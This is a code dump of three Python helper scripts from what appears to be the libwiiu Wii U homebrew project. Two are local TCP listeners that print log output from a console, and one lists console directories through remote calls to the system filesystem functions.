https://raw.githubusercontent.com/wiiudev/libwiiu/0e67eb1854b63c4f12b06237fbe175a8e71e211b/scripts/__pycache__/fs.cpython-34.pyc -------------------------------------------------------------------------------- /scripts/coslog.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import socket 3 | 4 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 5 | s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 6 | s.bind(('0.0.0.0', 12345)) 7 | s.listen(1) 8 | conn = s.accept() 9 | print('Connected by ', conn[1]) 10 | 11 | while True: 12 | data = conn[0].recv(0x100) 13 | 14 | if data: 15 | print(data) 16 | -------------------------------------------------------------------------------- /scripts/fs.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import socket, struct 3 | 4 | FS_RET_NO_ERROR = 0 5 | FS_STATUS_OK = 0 6 | FS_RET_ALL_ERROR = 0xFFFFFFFF 7 | 8 | FSClient_size = 0x1700 9 | FSCmdBlock_size = 0xA80 10 | 11 | error_base = 0xFFFFFFFF + 1 12 | error_codes = { 13 | error_base - 1: 'FS_STATUS_CANCELED: Command canceled', 14 | error_base - 2: 'FS_STATUS_END: Indicates end of file / directory entry', 15 | error_base - 3: 'FS_STATUS_MAX: Reached to max number of file / directory / client handles / mount points', 16 | error_base - 4: 'FS_STATUS_ALREADY_OPEN: Target is already opened or locked by another transaction', 17 | error_base - 5: 'FS_STATUS_EXISTS: Target path already exists or not empty', 18 | error_base - 6: 'FS_STATUS_NOT_FOUND: Target path is not found', 19 | error_base - 7: 'FS_STATUS_NOT_FILE: Specified path is directory or quota instead of a file.', 20 | error_base - 8: 'FS_STATUS_NOT_DIR: Specified path is file instead of a directory or a quota.', 21 | error_base - 9: 'FS_STATUS_ACCESS_ERROR: Attempted to access file with bad file mode', 22 | error_base - 10: 'FS_STATUS_PERMISSION_ERROR: Did not have permission to complete operation', 23 | error_base - 11: 'FS_STATUS_FILE_TOO_BIG: Request would push the file over the size limit (not the quota limit).', 24 | error_base - 12: 'FS_STATUS_STORAGE_FULL: Request would cause one of the ancestor directories to exceed its quota / Or no free space left in storage', 25 | error_base - 13: 'FS_STATUS_JOURNAL_FULL: Transaction journal is full, need to flush', 26 | error_base - 14: 'FS_STATUS_UNSUPPORTED_CMD: Operation is not supported by file system (for only manual mount device)', 27 | error_base - 15: 'FS_STATUS_MEDIA_NOT_READY: Medium is not ready', 28 | error_base - 16: 'FS_STATUS_INVALID_MEDIA: Medium is invalid', 29 | error_base - 17: 'FS_STATUS_MEDIA_ERROR: Medium is in some bad condition', 30 | error_base - 18: 'FS_STATUS_DATA_CORRUPTED: Data is corrupted', 31 | error_base - 19: 'FS_STATUS_WRITE_PROTECTED: Medium is write protected', 32 | } 33 | 34 | class FS(object): 35 | rplname = 'coreinit.rpl' 36 | symnames = ['FSInit', 'FSAddClient', 'FSSetStateChangeNotification', 'FSInitCmdBlock', 'FSOpenDir', 'FSReadDir', 'FSCloseDir'] 37 | 38 | def __init__(self, rpc): 39 | self.rpc = rpc 40 | self.symbols = {symname: rpc.get_symbol(self.rplname, symname) for symname in self.symnames} 41 | globals().update(self.symbols) 42 | 43 | ret = FSInit() 44 | print("FSInit() returned %d" % ret) 45 | self.pClient = fake_alloc(FSClient_size) 46 | self.pCmd = fake_alloc(FSCmdBlock_size) 47 | print("Allocated client and cmd block") 48 | 49 | ret = FSAddClient(self.pClient, FS_RET_NO_ERROR) 50 | print("FSAddClient() returned %d" % ret) 51 | ret = FSInitCmdBlock(self.pCmd) 52 | print("FSInitCmdBlock() returned %d" % ret) 53 | 54 | def read_dir(self, path="/vol/content/"): 55 | rpc = self.rpc 56 | path_addr = fake_alloc(len(path)) 57 | dh_addr = fake_alloc(4) 58 | rpc.write_string(path_addr, path) 59 | 60 | self.result = FSOpenDir(self.pClient, self.pCmd, path_addr, dh_addr, FS_RET_ALL_ERROR) 61 | if self.result != FS_STATUS_OK: 62 | print('Error opening {}: {}'.format(path, error_codes[self.result])) 63 | return 64 | dh = rpc.read32(dh_addr, 1)[0] 65 | de_addr = fake_alloc(500) 66 | 67 | while FSReadDir(self.pClient, self.pCmd, dh, de_addr, FS_RET_ALL_ERROR) == FS_STATUS_OK: 68 | de = rpc.read_string(de_addr, 500) 69 | name = de[25*4:].split(b'\x00', 1)[0] 70 | print(name) 71 | 72 | FSCloseDir(self.pClient, self.pCmd, dh, FS_RET_NO_ERROR) 73 | 74 | class FakeHeap(): 75 | heap = 0x1e900000 76 | 77 | def __call__(self, size): 78 | addr = self.heap 79 | self.heap += size 80 | if size % 4: 81 | self.heap += 4 - (size % 4) 82 | 83 | return addr 84 | 85 | try: 86 | fake_alloc 87 | except NameError: 88 | fake_alloc = FakeHeap() 89 | -------------------------------------------------------------------------------- /scripts/listener.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import socket 3 | 4 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 5 | s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 6 | s.bind(('0.0.0.0', 12345)) 7 | s.listen(1) 8 | conn = s.accept() 9 | print('Connected by ', conn[1]) 10 | 11 | while True: 12 | data = conn[0].recv(512) 13 | 14 | if data: 15 | print(data) 16 | --------------------------------------------------------------------------------